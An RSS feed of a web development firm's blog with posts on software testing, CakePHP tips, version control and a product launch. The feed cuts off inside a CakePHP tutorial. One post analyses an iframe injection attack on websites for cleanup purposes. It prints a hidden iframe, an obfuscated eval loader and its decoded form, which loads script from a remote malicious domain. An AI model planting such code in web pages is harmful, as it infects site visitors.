<?xml version="1.0" encoding="UTF-8"?>
<!-- generator="wordpress/2.3.1" -->
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	>

<channel>
	<title>Giga Promoters Blog</title>
	<link>http://www.gigapromoters.com/blog</link>
	<description>News, Developments and Best practices for programming</description>
	<pubDate>Sat, 06 Aug 2011 23:39:15 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.3.1</generator>
	<language>en</language>
			<item>
		<title>7 reasons you’re testing your app wrong!</title>
		<link>http://www.gigapromoters.com/blog/2011/04/21/7-reasons-you%e2%80%99re-testing-your-app-wrong/</link>
		<comments>http://www.gigapromoters.com/blog/2011/04/21/7-reasons-you%e2%80%99re-testing-your-app-wrong/#comments</comments>
		<pubDate>Thu, 21 Apr 2011 06:42:25 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Best Practices]]></category>

		<category><![CDATA[Ideas]]></category>

		<category><![CDATA[Latest Developments]]></category>

		<category><![CDATA[Our Apps]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2011/04/21/7-reasons-you%e2%80%99re-testing-your-app-wrong/</guid>
		<description><![CDATA[
No Test Cases: Your testers don&#8217;t have a fixed list of tests they have to execute, they are in the wild with lots of guess work.
Waiting for crisis: Unless there is a major visible failure, no one in your team cares about testing.
Isolation: Your testers start testing on their own and finish on their own [...]]]></description>
			<content:encoded><![CDATA[<ol>
<li><strong>No Test Cases:</strong> Your testers don&#8217;t have a fixed list of tests they have to execute, they are in the wild with lots of guess work.</li>
<li><strong>Waiting for crisis</strong>: Unless there is a major visible failure, no one in your team cares about testing.</li>
<li><strong>Isolation</strong>: Your testers start testing on their own and finish on their own when they feel like, and you have no report of which tests were passed, which were failed.</li>
<li><strong>Delayed Releases</strong>: Releases are delayed many times because of last minute test failures.</li>
<li><strong>Thinking too late</strong>: Not thinking about testing before you write your first line of code. <strong><br />
</strong></li>
<li><strong>No track of time</strong>: You don&#8217;t even know how much time you need to put in testing in first place.</li>
<li><strong>Complexity</strong>: Your app&#8217;s tests are so complex that you need to teach your testers how to test first, before they can actually start testing. Or even worse, you don&#8217;t want to hire testers because you know it&#8217;ll be too complex for anyone else.</li>
</ol>
<p style="margin-left: 18pt">Any of this sounds familiar? If yes, don&#8217;t be shy – we sucked at testing as much as you do (actually maybe more since you took time to read this post), before we decided we had to do something about it.</p>
<p style="margin-left: 18pt">We&#8217;re building something very promising, a test case management system which will effectively work with you in solving all the problems listed above. If it looks worth to you, signup to our newsletter and we&#8217;ll inform you once we launch it. Even if you already use one, you&#8217;ll definitely find it faster, easier and leaner.</p>
<p><strong>Update: Check out our new <a href="http://testcollab.com">test case management</a> app!</strong></p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2011/04/21/7-reasons-you%e2%80%99re-testing-your-app-wrong/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Working Harder vs. Working Smarter for Developers</title>
		<link>http://www.gigapromoters.com/blog/2010/04/06/working-harder-vs-working-smarter-for-developers/</link>
		<comments>http://www.gigapromoters.com/blog/2010/04/06/working-harder-vs-working-smarter-for-developers/#comments</comments>
		<pubDate>Wed, 07 Apr 2010 02:02:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Best Practices]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2010/04/06/working-harder-vs-working-smarter-for-developers/</guid>
		<description><![CDATA[There are always a few books which are lying around me in a queue for months before I start reading them.

Today, I just started reading Sustainable Software Development, and the concept which I&#8217;ve been spreading from years popped up. (So I couldn&#8217;t obviously wait to blog this)


	
As you can see in the charts, working smart [...]]]></description>
			<content:encoded><![CDATA[<p>There are always a few books which are lying around me in a queue for months before I start reading them.
</p>
<p>Today, I just started reading <a href="http://www.amazon.com/Sustainable-Software-Development-Agile-Perspective/dp/0321286081">Sustainable Software Development</a>, and the concept which I&#8217;ve been spreading from years popped up. (So I couldn&#8217;t obviously wait to blog this)
</p>
<p><img src="http://www.gigapromoters.com/blog/wp-content/uploads/2010/04/040710-0202-workinghard12.jpg" alt=""/>
	</p>
<p>As you can see in the charts, working smart over working hard is much more beneficial in long-run even if it requires some extra time investment in beginning.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2010/04/06/working-harder-vs-working-smarter-for-developers/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Giga Promoters increases its projects success rate</title>
		<link>http://www.gigapromoters.com/blog/2010/03/02/giga-promoters-increases-its-projects-success-rate/</link>
		<comments>http://www.gigapromoters.com/blog/2010/03/02/giga-promoters-increases-its-projects-success-rate/#comments</comments>
		<pubDate>Tue, 02 Mar 2010 05:51:06 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Latest News]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2010/03/02/giga-promoters-increases-its-projects-success-rate/</guid>
		<description><![CDATA[Around 2-3 years ago, we were struggling to improve our business processes and implementation of custom development projects. It&#8217;s no wonder that IT projects fail at alarming rates like at almost 80% due to several factors. Some biggest factors can be nailed down to communication, testing, specifications faults etc.

So how we covered this distance from


	
 [...]]]></description>
			<content:encoded><![CDATA[<p>Around 2-3 years ago, we were struggling to improve our business processes and implementation of custom development projects. It&#8217;s no wonder that IT projects fail at alarming rates like at almost 80% due to several factors. Some biggest factors can be nailed down to communication, testing, specifications faults etc.
</p>
<p>So how we covered this distance from
</p>
<p><img src="http://www.gigapromoters.com/blog/wp-content/uploads/2010/03/030210-0550-gigapromote1.png" alt=""/>
	</p>
<p>  to
</p>
<p><img src="http://www.gigapromoters.com/blog/wp-content/uploads/2010/03/030210-0550-gigapromote2.png" alt=""/>
	</p>
<p>?
</p>
<p>Here are few things where we focused all our energy during the course of these 3 years.
</p>
<ol>
<li><strong>Collection of data</strong> – If you&#8217;re trying to increase your success rate – you should start by finding out the reason why the project failed in first place. Back in 2006, we started collecting this data very seriously. After the project completion, we sat down and analyzed if project was success or not, if not, why it wasn&#8217;t successful, what were the main pitfalls and how this can be avoided in near future? It was hard to do at beginning but this gave us a new vision about where to focus our energies on.
</li>
<li><strong>Specifications</strong> – Our study from previous point concluded that having a bad documentation or not enough information on the project was the biggest fault why our projects failed. In order to avoid it, we started focusing more on the requirements specification as provided by client. We used to discuss every possible source of technical issue once we started the project. Spent 2-3 days on discussion of requirements, database design and things like that – so in a way we minimized potential issues we could see in future.
</li>
<li><strong>Reusability</strong> – This was personally my best one – and it ended up saving tons of time and cash on development. As we begin implementing more and more projects, we started building our reusable libraries and huge code base which helped us delivering these project in less and less time. It did not just saved our development costs but also reduced the risk of our projects drastically because a particular feature or module was already being used by hundreds (if not thousands) of users already. Now most of the feature a client asks for in our <a href="http://www.gigapromoters.com/pages/web-development">custom web development</a> services, it&#8217;s likely that we have them deployed somewhere already. So this ultimately helped reducing our failure rate.
</li>
<li><strong>Automation</strong> – As they say &#8216;Defect prevention is better than defect detection&#8217;, When I first looked into it, I said to myself &#8220;maybe automated testing is just for the big companies like Microsoft&#8221;, but over this time as we developed our reusable code base I could see it becoming a necessity. And that when we started developing tests – it was an investment of time which has paid off very well. When we knew we had spent &#8216;x&#8217; man hours on a feature and we knew it was working all the time with the help of automated tests – we could do business with more confidence and focus on several other parts of project development which required our attention.
</li>
<li><strong>People</strong> – Keeping your developers motivated in a project is good for project all the time. When a team believes in their work, there&#8217;s a lot of positive energy in surrounding. Though it was barely a problem with us, but we tried going next level in involving our developers to know about the client&#8217;s requirement and what users want from the software they&#8217;re developing. Again, this increased the development time, but we could afford it.
</li>
</ol>
<p> We still see a room for a lot of improvement for the next level as we collect data. Thanks for reading.
</p>
<p>Abhimanyu Grover
</p>
<p style="margin-left: 36pt">
 </p>
<p>
 </p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2010/03/02/giga-promoters-increases-its-projects-success-rate/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Quick Tip: Activate CakePHP console in one go</title>
		<link>http://www.gigapromoters.com/blog/2009/12/11/quick-tip-activate-cakephp-console-in-one-go/</link>
		<comments>http://www.gigapromoters.com/blog/2009/12/11/quick-tip-activate-cakephp-console-in-one-go/#comments</comments>
		<pubDate>Fri, 11 Dec 2009 08:04:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[CakePHP]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/12/11/quick-tip-activate-cakephp-console-in-one-go/</guid>
		<description><![CDATA[Let me share a quickie which will save you a few seconds if you&#8217;re using CakePHP under Windows environment. To activate CakePHP shell, you must be doing it ugly way which involves copying up full path of &#8216;app&#8217; directory or cake&#8217;s console directory. To overcome this:


Create a new separate directory somewhere on your machine (say [...]]]></description>
			<content:encoded><![CDATA[<p>Let me share a quickie which will save you a few seconds if you&#8217;re using CakePHP under Windows environment. To activate CakePHP shell, you must be doing it ugly way which involves copying up full path of &#8216;app&#8217; directory or cake&#8217;s console directory. To overcome this:
</p>
<ol>
<li>Create a new separate directory somewhere on your machine (say 3rdpartytools)
</li>
<li>
<div>Create a batch file here called cake.bat with following contents:
</div>
<p>@echo off
</p>
<p>..\cake\console\cake %*
</p>
</li>
<li>Now, add this directory to your &#8216;Path&#8217; variable (environment variable) from control panel.
</li>
<li>Restart windows and you&#8217;re done.
</li>
</ol>
<p>Now to activate CakePHP shell, just open &#8216;cmd&#8217; from working app directory and type your favorite command like &#8216;cake schema generate –f&#8217; or anything. What happens behind the scene? Our own cake.bat is called after we issue a command, which then passes execution to console&#8217;s cake.bat.
</p>
<p>Hope it saves you some time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/12/11/quick-tip-activate-cakephp-console-in-one-go/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Invoice Dude – Free Online Invoicing for Small Businesses</title>
		<link>http://www.gigapromoters.com/blog/2009/12/01/invoice-dude-%e2%80%93-free-online-invoicing-for-small-businesses/</link>
		<comments>http://www.gigapromoters.com/blog/2009/12/01/invoice-dude-%e2%80%93-free-online-invoicing-for-small-businesses/#comments</comments>
		<pubDate>Wed, 02 Dec 2009 04:45:58 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Latest News]]></category>

		<category><![CDATA[Our Apps]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/12/01/invoice-dude-%e2%80%93-free-online-invoicing-for-small-businesses/</guid>
		<description><![CDATA[On Nov. 23, we launched our free online invoicing application called Invoice Dude and I finally have the time to write about it. Invoice Dude is a free invoicing application to help you bill your clients with ease without spending any money or any kind of leasing-fee. As we&#8217;re mostly into custom web development for [...]]]></description>
			<content:encoded><![CDATA[<p>On Nov. 23, we launched our free online invoicing application called <a href="http://www.invoicedude.com/">Invoice Dude</a> and I finally have the time to write about it. Invoice Dude is a free invoicing application to help you bill your clients with ease without spending any money or any kind of leasing-fee. As we&#8217;re mostly into <a href="http://gigapromoters.com/pages/web-development">custom web development</a> for the clients, we had the idea from almost an year - but it was only few weeks back when our team finally committed to this project.
</p>
<p>Invoice Dude is currently under private beta phase (which means accounts are limited) and once we get out of it, we&#8217;re going to launch some add-ons. The add-ons list is not yet decided however we invite community once again to take part in it and <a href="http://www.invoicedude.com/pages/addons">vote for the most needed add-ons</a>.
</p>
<p>We plan to launch such similar projects in near future and look forward to the feedback of community. If you have any suggestions regarding the software, please <a href="http://www.invoicedude.com/cms/contacts/add">tell us</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/12/01/invoice-dude-%e2%80%93-free-online-invoicing-for-small-businesses/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Reverse Engineering &#038; removing new enhanced HTML Iframe Injection attack</title>
		<link>http://www.gigapromoters.com/blog/2009/05/25/reverse-engineering-removing-new-enhanced-html-iframe-injection-attack/</link>
		<comments>http://www.gigapromoters.com/blog/2009/05/25/reverse-engineering-removing-new-enhanced-html-iframe-injection-attack/#comments</comments>
		<pubDate>Mon, 25 May 2009 07:54:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Latest Developments]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/05/25/reverse-engineering-removing-new-enhanced-html-iframe-injection-attack/</guid>
		<description><![CDATA[I&#8217;ve spent many hours fixing this ongoing latest Iframe injection trend lately, And I&#8217;ve noticed one thing, every time our team fixes it up – it comes back in a new enhanced form which is difficult to delete automatically. Like the first time it began with:

&#60;iframe src=&#8221;http://goooogleadsence.biz/?click=8F9DA&#8221; width=1 height=1 style=&#8221;visibility:hidden;position:absolute&#8221;&#62;&#60;/iframe&#62;

echo &#8220;&#60;iframe src=\&#8221;http://goooogleadsence.biz/?click=8F9DA\&#8221; width=1 height=1 style=\&#8221;visibility:hidden;position:absolute\&#8221;&#62;&#60;/iframe&#62;&#8221;;
	
After [...]]]></description>
			<content:encoded><![CDATA[<p>I&#8217;ve spent many hours fixing this ongoing latest Iframe injection trend lately, And I&#8217;ve noticed one thing, every time our team fixes it up – it comes back in a new enhanced form which is difficult to delete automatically. Like the first time it began with:
</p>
<p><span style="font-family:Courier New; font-size:10pt">&lt;iframe src=&#8221;http://goooogleadsence.biz/?click=8F9DA&#8221; width=1 height=1 style=&#8221;visibility:hidden;position:absolute&#8221;&gt;&lt;/iframe&gt;<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">echo &#8220;&lt;iframe src=\&#8221;http://goooogleadsence.biz/?click=8F9DA\&#8221; width=1 height=1 style=\&#8221;visibility:hidden;position:absolute\&#8221;&gt;&lt;/iframe&gt;&#8221;;</span>
	</p>
<p>After that, code got better and less readable. And now the final version looks like this:
</p>
<p><span style="font-family:Courier New; font-size:10pt">&lt;!&#8211;<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">(function(KWaP){var hSgtJ=&#8217;:76a:72:20a:3d:22ScriptEngine:22:2c:62:3d:22:56:65rs:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">69on()+:22:2cj:3d:22:22:2cu:3dn:61vigato:72:2eus:65:72:41gent:3bif((u:2einde:78Of(:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">22Chrom:65:22):3c0:29:26:26(u:2e:69nd:65:78Of(:22Win:22):3e0):26:26(:75:2eindex:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">4ff(:22:4eT:206:22):3c0):26:26(d:6f:63um:65nt:2ecookie:2ei:6edex:4ff(:22miek:3d1:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">22):3c0):26:26:28:74y:70e:6f:66(:7arvz:74s:29:21:3dtyp:65:6ff:28:22A:22))):<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">7bz:72:76zt:73:3d:22A:22:3be:76al(:22if(:77indow:2e:22+:61+:22)j:3dj+:22+:61+:22:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">4dajo:72:22+b+:61+:22Mi:6eo:72:22+b:2ba+:22B:75ild:22+:62+:22j:3b:22):<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">3bdocument:2ewrite(:22:3c:73:63r:69:70:74:20src:3d:2f:2fma:22:2b:22rt:75z:2e:63n:<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">2f:76i:64:2f:3f:69d:3d:22+j+:22:3e:3c:5c:2f:73cript:3e:22):3b:7d&#8217;;<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">eval(unescape(hSgtJ.replace(KWaP,&#8217;%')))})(/\:/g);<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt"> &#8211;&gt;<br />
</span></p>
<p>Let&#8217;s reverse engineer it for fun. See that little evil eval()? Replace it by alert() or any other logger function like console.log() for Firebug. That will give us:
</p>
<p><span style="font-family:Courier New; font-size:10pt">&lt;!&#8211;<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">var a=&#8221;ScriptEngine&#8221;,b=&#8221;Version()+&#8221;,j=&#8221;",u=navigator.userAgent;if((u.indexOf(&#8221;Chrome&#8221;)&lt;0)&amp;&amp;(u.indexOf(&#8221;Win&#8221;)&gt;0)&amp;&amp;(u.indexOf(&#8221;NT 6&#8243;)&lt;0)&amp;&amp;(document.cookie.indexOf(&#8221;miek=1&#8243;)&lt;0)&amp;&amp;(typeof(zrvzts)!=typeof(&#8221;A&#8221;))){zrvzts=&#8221;A&#8221;;<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">eval(&#8221;if(window.&#8221;+a+&#8221;)j=j+&#8221;+a+&#8221;Major&#8221;+b+a+&#8221;Minor&#8221;+b+a+&#8221;Build&#8221;+b+&#8221;j;&#8221;);document.write(&#8221;&lt;script src=//ma&#8221;+&#8221;rtuz.cn/vid/?id=&#8221;+j+&#8221;&gt;&lt;\/script&gt;&#8221;);}<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">&#8211;&gt;<br />
</span></p>
<p>That *.cn domain is back again. To find this new injection, common pattern you need to lookup is as below:
</p>
<p><span style="font-family:Courier New; font-size:10pt">3bdocument:2ewrite(:<br />
</span></p>
<p>Some other patterns you might want to check:
</p>
<p><span style="font-family:Courier New; font-size:10pt">document.write(&#8217;&lt;iframe<br />
</span></p>
<p><span style="font-family:Courier New; font-size:10pt">www.zj5173.com<br />
</span></p>
<p><span style="font-size:14pt"><strong>How to clean your website?<br />
</strong></span></p>
<p>Use &#8216;grep&#8217; command or any other tool for Windows like PowerGrep. Other possible idea for an advanced user to avoid these attacks is to use a version control tool, and keep your site as a checked out copy. The advantage using this method is that you&#8217;ll know all the modified files just by issuing simple &#8220;svn status&#8221; command.
</p>
<p>
 </p>
<p>You can also <a href="http://www.gigapromoters.com/pages/contact">contact us</a> directly if you need assistance on this. We&#8217;ve helped securing over 50+ websites in last 3 months.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/05/25/reverse-engineering-removing-new-enhanced-html-iframe-injection-attack/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Client’s Policies or Your productivity? / Version control over FTP</title>
		<link>http://www.gigapromoters.com/blog/2009/04/29/client%e2%80%99s-policies-or-your-productivity-version-control-over-ftp/</link>
		<comments>http://www.gigapromoters.com/blog/2009/04/29/client%e2%80%99s-policies-or-your-productivity-version-control-over-ftp/#comments</comments>
		<pubDate>Wed, 29 Apr 2009 05:28:43 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Best Practices]]></category>

		<category><![CDATA[automation]]></category>

		<category><![CDATA[deployment]]></category>

		<category><![CDATA[subversion]]></category>

		<category><![CDATA[version control]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/04/29/client%e2%80%99s-policies-or-your-productivity-version-control-over-ftp/</guid>
		<description><![CDATA[Not too long back my colleague asked community about how they handle their deployments and patches to the production server. We received quality response and various options – I learned many new things about how others were handling it. We are using Subversion for versioning our projects from last 3 years and were very happy [...]]]></description>
			<content:encoded><![CDATA[<p>Not too long back my colleague <a href="http://stackoverflow.com/questions/337060/how-do-you-apply-patches-on-a-web-project-at-production-server/337083">asked</a> community about how they handle their deployments and patches to the production server. We received quality response and various options – I learned many new things about how others were handling it. We are using Subversion for versioning our projects from last 3 years and were very happy to implement it. It reduced a lot of time in release cycle and all that hassle one has to go through, was simply gone.
</p>
<p>But here comes the problem. The clients who are not willing to use such tools. Or are simply not giving you authorization to do so, or they are using shared hosting environment. I&#8217;ve seen this problem with my 5 out of 10 clients. They have a reason to stop you – they were never asked for this before from their previous development companies or whatsoever. Then, there are clients who say &#8220;Use ftp&#8221; when you ask them to send SSH access, this limits the productivity of the whole system and the project. However, I consider it as my call to make them aware of the things which can help them – and that is why I&#8217;m writing this post today.
</p>
<p>So by this post, I actually want to highlight the advantages offered by any version control system over the regular FTP transfer for deployment – I&#8217;m sure this will help the buyers who don&#8217;t allow much control in hands of their web developers.  Ok, here we go, these are some real BIG limitations you know you&#8217;ll face using FTP:
</p>
<ol>
<li>Initial setup is always easy, updating and bug fixes and applying patches is difficult using FTP. You spend 10x more time being careful for things that can be handled automatically.
</li>
<li>You have to wait for the files to upload/download.
</li>
<li>If something goes wrong, it&#8217;s really difficult to revert to &#8220;last stable&#8221; state.
</li>
</ol>
<p>And when you&#8217;re using Subversion or any other version control tool for that matter – All these issues are no more your concern, and you can focus on real development rather than finding files and stuff. Here are some advantages offered by a standard version control system:
</p>
<ol>
<li>To apply patches, you simply issue &#8220;svn up&#8221; command to the system (In case of subversion). It automatically updates the modified files.
</li>
<li>In case there&#8217;s something wrong, you can go back to any old revision and have your site running as it was. Using Subversion&#8217;s advanced features and proper versioning; you can also define a &#8220;last stable&#8221; version and be safe all the times.
</li>
<li>You don&#8217;t have to worry about latest back – everything is on a separate server with all revisions.
</li>
</ol>
<p>This is just a start – many things are eventually taken care of while using a version control. However, there are many other automated ways for this purpose, some people like using &#8220;rsync&#8221;, some rely on application servers and so.
</p>
<p>I&#8217;m hoping that it&#8217;ll help buyers understand our offering better. Thanks for reading.
</p>
<p>Abhimanyu Grover</p>
]]></content:encoded>
			<wfw:commentRss>http://www.gigapromoters.com/blog/2009/04/29/client%e2%80%99s-policies-or-your-productivity-version-control-over-ftp/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Turn your normal CakePHP forms to AJAX forms in a second</title>
		<link>http://www.gigapromoters.com/blog/2009/02/21/cakephp-ajax-forms/</link>
		<comments>http://www.gigapromoters.com/blog/2009/02/21/cakephp-ajax-forms/#comments</comments>
		<pubDate>Sat, 21 Feb 2009 08:03:01 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[Best Practices]]></category>

		<category><![CDATA[CakePHP]]></category>

		<category><![CDATA[jQuery]]></category>

		<category><![CDATA[ajax]]></category>

		<category><![CDATA[forms]]></category>

		<guid isPermaLink="false">http://www.gigapromoters.com/blog/2009/02/21/turn-your-normal-cakephp-forms-to-ajax-forms-in-a-second/</guid>
		<description><![CDATA[CakePHP helpers are so powerful that when you begin to hack helpers here and there you discover a lot of possibilities which can save you a lot of time. Same thing happened when I had an idea to AJAX'ify the forms using some shortcut.

Let's try hacking the FormHelper and enable AJAX. We'll use jQuery Form [...]]]></description>
			<content:encoded><![CDATA[<p>CakePHP helpers are so powerful that when you begin to hack helpers here and there you discover a lot of possibilities which can save you a lot of time. Same thing happened when I had an idea to AJAX'ify the forms using some shortcut.
</p>
<p>Let's try hacking the FormHelper and enable AJAX. We'll use <a href="http://malsup.com/jquery/form/">jQuery Form plugin</a> to submit forms via AJAX request (I don't know any other good plugins for forms).
</p>
<p>What we'll be doing:
</p>
<p>Converting a normal form like below one, to make it call AJAX(using jQuery lib) and alert us when form posted:
</p>
<div class="igBar"><span id="lphp-8"><a href="#" onclick="javascript:showPlainTxt('php-8'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-8">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;div <span style="color:#000000; font-weight:bold;">class</span>=<span style="color:#FF0000;">"jerks form"</span>&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$form</span>-&gt;<span style="color:#006600;">create</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Jerk'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;fieldset&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp;&nbsp; &nbsp;&nbsp; &nbsp;&lt;legend&gt;&lt;?php __<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Add Jerk'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;&lt;/legend&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">&lt;?php</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$form</span>-&gt;<span style="color:#006600;">input</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'name'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#000000; font-weight:bold;">?&gt;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; &lt;/fieldset&gt;</div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">&lt;?php</span> <a href="http://www.php.net/echo"><span style="color:#000066;">echo</span></a> <span style="color:#0000FF;">$form</span>-&gt;<span style="color:#006600;">end</span><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#FF0000;">'Submit'</span><span style="color:#006600; font-weight:bold;">&#41;</span>;?&gt;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&lt;/div&gt; </div>
</li>
</ol>
</div>
</div>
</div>
<p> </p>
<p>
 </p>
<p>1. Extend your FormHelper to something like AjaxFormHelper (Now normally I don't extend core helpers like this, but use a similar method similar to this (comment by grigri): <a href="http://cakebaker.42dh.com/2008/10/18/dont-abuse-the-apphelper-to-extend-the-core-helpers/#comment-110708">http://cakebaker.42dh.com/2008/10/18/dont-abuse-the-apphelper-to-extend-the-core-helpers/#comment-110708</a> ) and overwrite create() method like this:
</p>
<div class="igBar"><span id="lphp-9"><a href="#" onclick="javascript:showPlainTxt('php-9'); return false;">PLAIN TEXT</a></span></div>
<div class="syntax_hilite"><span class="langName">PHP:</span>
<div id="php-9">
<div class="php">
<ol>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#000000; font-weight:bold;">function</span> create<span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$model</span> = <span style="color:#000000; font-weight:bold;">null</span>, <span style="color:#0000FF;">$options</span> = <a href="http://www.php.net/array"><span style="color:#000066;">array</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#006600; font-weight:bold;">&#41;</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;"><span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#0000FF;">$output</span> = <span style="color:#FF0000;">""</span>;</div>
</li>
<li style="font-weight: bold;color:#26536A;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#616100;">if</span><span style="color:#006600; font-weight:bold;">&#40;</span><a href="http://www.php.net/isset"><span style="color:#000066;">isset</span></a><span style="color:#006600; font-weight:bold;">&#40;</span><span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'ajax'</span><span style="color:#006600; font-weight:bold;">&#93;</span><span style="color:#006600; font-weight:bold;">&#41;</span> &amp;&amp; <span style="color:#0000FF;">$options</span><span style="color:#006600; font-weight:bold;">&#91;</span><span style="color:#FF0000;">'ajax'</span><span style="color:#006600; font-weight:bold;">&#93;</span>==<span style="color:#FF0000;">'true'</span><span style="color:#006600; font-weight:bold;">&#41;</span></div>
</li>
<li style="font-family: 'Courier New', Courier, monospace; color: black; font-weight: normal; font-style: normal;color:#3A6A8B;">
<div style="font-family: 'Courier New', Courier, monospace; font-weight: normal;">&nbsp; &nbsp; <span style="color:#006600; font-weight:bold;">&#123;</span></div>
</li>
<li style="font-weight: bold;color:#26536A;">
